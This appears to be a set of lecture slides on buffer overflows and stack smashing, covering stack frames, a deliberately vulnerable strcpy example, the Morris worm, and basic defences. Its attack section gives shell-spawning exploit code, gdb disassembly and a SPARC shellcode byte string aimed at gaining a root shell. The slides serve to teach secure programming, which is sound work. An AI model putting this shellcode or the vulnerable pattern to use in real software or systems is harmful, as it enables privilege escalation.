230 likes | 414 Views
Buffer Overflows and Stack Smashing. It Happens. CERT/CC 1999: 50% of all major security bugs were from buffer overflow. Today 2005: We’ve known what can cause buffer overflows for quite a while and the problem is still big.
E N D
Buffer Overflows and Stack Smashing
It Happens • CERT/CC 1999: 50% of all major security bugs were from buffer overflow. • Today 2005: We’ve known what can cause buffer overflows for quite a while and the problem is still big. • Some finger pointing:Unsafe languages (C, C++, etc) are still widely used. (Java is safe, but when highest performance is key, it’s not the best option.) • Where it all starts: Some languages lack bounds checks on arrays and pointer references. Put that together with careless programming and you have a recipe for disaster.
How it Happens • Program declares a buffer, an area to store input. The length of the buffer is fixed. • Program reads in data and writes it to buffer without checking if the length of the buffer is exceeded. • One can craft input data for the program which contains machine code to open a shell (not trivial, but can be done with some effort). That data is passed to the program, which is somehow convinced to execute the machine code contained therein.
Why This is a HUGE Problem • Some programs execute as super-user (“root”). If one of these is vulnerable to buffer overflow, someone can exploit it to spawn a shell. The shell will be a root-shell. • Programs that can execute as “root” have a special status: setuid or suid root. They can be run by any user, but the moment they start running, they run with root privileges. This may be necessary (when the program needs access to protected resources) or it may just be convenient. Convenience is a REALLY poor excuse for running a program suid root. • Even if your program is not meant to be run as root, buffer overflows are a concern: Once your program is distributed, someone may set it to run as root (people can get dumb when they are desperate). • This happens in Unix and in Windows, as well.
Defense Against Buffer Overflow • Commandments: never use gets(), avoid strcpy(), always check array boundaries, … -> there’s something good to be said about these. • Be ever conscious of what you are doing (risk assessment). • Know what to expect from the system. • Choose the programming language appropriately. • Use tools for analyzing your program.
Programs and the Stack A program’s stack segment: • A sort of scratch area for the program, parameter passing for subroutines, space for automatic variables, return address, … • int foo(int P1, int P2) /* subroutine “foo” */ • { • int L1, L2; /* local variables L1 and L2 */ • L1 = P1 + P2; • return(L1); /* return value */ • } • int main() /* main program */ • { • … • x = foo(1,2); /* call to subroutine “foo” */ • … • }
Stack frames main foo stack Stack Frames or Activation Records
Stack Frames • A stack frame contains the corresponding routine’s: • Parameters. • Return address (i.e. next instruction to execute upon completion). • Saved registers. • Local variables. • Many architectures have registers: • SP, the stack pointer, points to the top of the stack. • BP, the base pointer, points to a fixed location within the frame. (Used to reference the procedure’s parameters and local variables.)
Stack Frames Themain routine calls foo: • foo’s parameters are first pushed onto the stack. • The next instruction in main to execute after foo finishes, the return address, is pushed. • Control is transferred to foo. • foo’s prologue: • Save caller’s (main’s) base pointer. • Set callee’s (foo’s) bp equal to the current sp. • Increment sp to reserve space on the stack for foo’s local variables.
SP BP main’s bp L2 P1 L1 P2 Stack Frames in Action foo’s stack frame at the after the completion of the prologue: return address stack
Stack Frames in Action • The execution of foo: • P1 = BP-4 • P2 = BP-3 • L1 = BP • L2 = BP+1 • The statement “L1 = P1 + P2” would performed by the following assembly language instruction: • add BP-4, BP-3, BP // adds first two arguments and stores the result in the third
main Stack Frames in Action foo’s epilogue cleans up the stack and returns control to the caller: • Caller’s (main’s) bp is placed back into the bp register. • The return address is placed into the ip (instruction pointer) register. • The stack pointer is decremented to remove the callee’s frame from the stack. Stack frame stack
A Buffer Overflow int foo(char *s) /* subroutine “foo” */ { char buffer[10]; /* local variable*/ strcpy(buffer,s); } int main() /* main program */ { char name[]=”ABCDEFGHIJKL”; foo(name); /* call to subroutine “foo” */ }
SP BP buffer[9] buffer[0] buffer[1] buffer[4] buffer[5] buffer[6] buffer[2] return address s main’s bp buffer[8] buffer[3] buffer[7] stack A Buffer Overflow foo’s stack frame after prologue:
SP BP E I B F J s A K H D L C G stack A Buffer Overflow Stack after execution of foo (but before the epilogue):
A Buffer Overflow • The string overflowed foo’s buffer: • Overwrote main’s bp. • Overwrote the return address with ‘L’ = 89 (ASCII). • When foo finishes control will be transferred to the instruction at address 89. • Error. • The Morris worm sent a specially crafted 243-byte string to the finger daemon: • Overflowed a buffer and overwrote the return address. • The fingerd executedthe /bin/sh program which executed the grappling hook code.
Attack Code Take this code, compile it, and insert the machine code on the stack. To execute the code you now have to figure out a way to make control jump to your first instruction. Overwrite the normal return address on the stack with the address to your first instruction and you’re in business. void exploit() { char* s = “/bin/sh”; execl(s,s, 0x00); } Take a hex dump… Position Contents Start of buffer Try to fit exploit here. End of buffer “ Other variables “ Return address The address of your exploit code Parameters The exploit if it didn’t fit elsewhere. Rest of the stack More exploit code and data, if needed.
Crafting the Code (gdb) disassemble exploit Dump of assembler code for function exploit: 0x10608 <exploit>: save %sp, -120, %sp 0x1060c <exploit+4>: sethi %hi(0x10400), %g1 0x10610 <exploit+8>: or %g1, 0x2d8, %g1 ! 0x106d8 <_lib_version+8> 0x10614 <exploit+12>: st %g1, [ %fp + -20 ] 0x10618 <exploit+16>: ld [ %fp + -20 ], %o0 0x1061c <exploit+20>: ld [ %fp + -20 ], %o1 0x10620 <exploit+24>: clr %o2 0x10624 <exploit+28>: call 0x207f8 <execl> 0x10628 <exploit+32>: nop 0x1062c <exploit+36>: nop 0x10630 <exploit+40>: ret 0x10634 <exploit+44>: restore End of assembler dump. void exploit() { char* s = “/bin/sh”; execl(s,s, 0x00); } int main() { exploit(); }
Crafting the Code (gdb) x/bx exploit 0x10608 <exploit>: 0x9d (gdb) 0x10609 <exploit+1>: 0xe3 (gdb) 0x1060a <exploit+2>: 0xbf (gdb) 0x1060b <exploit+3>: 0x88 (gdb) 0x1060c <exploit+4>: 0x03 (gdb) 0x1060d <exploit+5>: 0x00 (gdb) 0x1060e <exploit+6>: 0x00 (gdb) 0x1060f <exploit+7>: 0x41 (gdb) 0x10610 <exploit+8>: 0x82 (gdb) 0x10611 <exploit+9>: 0x10 (gdb) 0x10612 <exploit+10>: 0x62 (gdb) 0x10613 <exploit+11>: 0xd8 (gdb) 0x10614 <exploit+12>: 0xc2 … “\x9d\xe3\xbf\x88\x03\x00\x41\x82\x10\x62\xd8\xc2…” Now you have a “string” (a pretty weird one, but still a string), which can be written on the stack and then later on executed:
Example Code “\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92 \x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc \x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08\x90 \x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08” sethi 0xbd89a, %16 or %16, 0x16e, %16 sethi 0xbdcda, %17 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %16, [%sp – 16] st %sp, [%sp – 8] st %g0, [%sp – 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 This “string” corresponds to machine code for SPARC Solaris (Aleph One, 1996). This little program launches a shell… if this is executed from the context of a program that runs as user “root”, the shell that’s is launched has “root powers”.
References • Security in Computing, by Pfleeger and Pfleeger, 3rd Edition. Prentice Hall, 2003. • Building Secure Software, by Viega and McGraw. Addison-Wesley, 2002. • Fundamentals of Secure Computing Systems, by Tjaden. Franklin, Beedle & Associates, 2004. • Smashing the Stack for Fun and Profit, by Aleph One, 1996.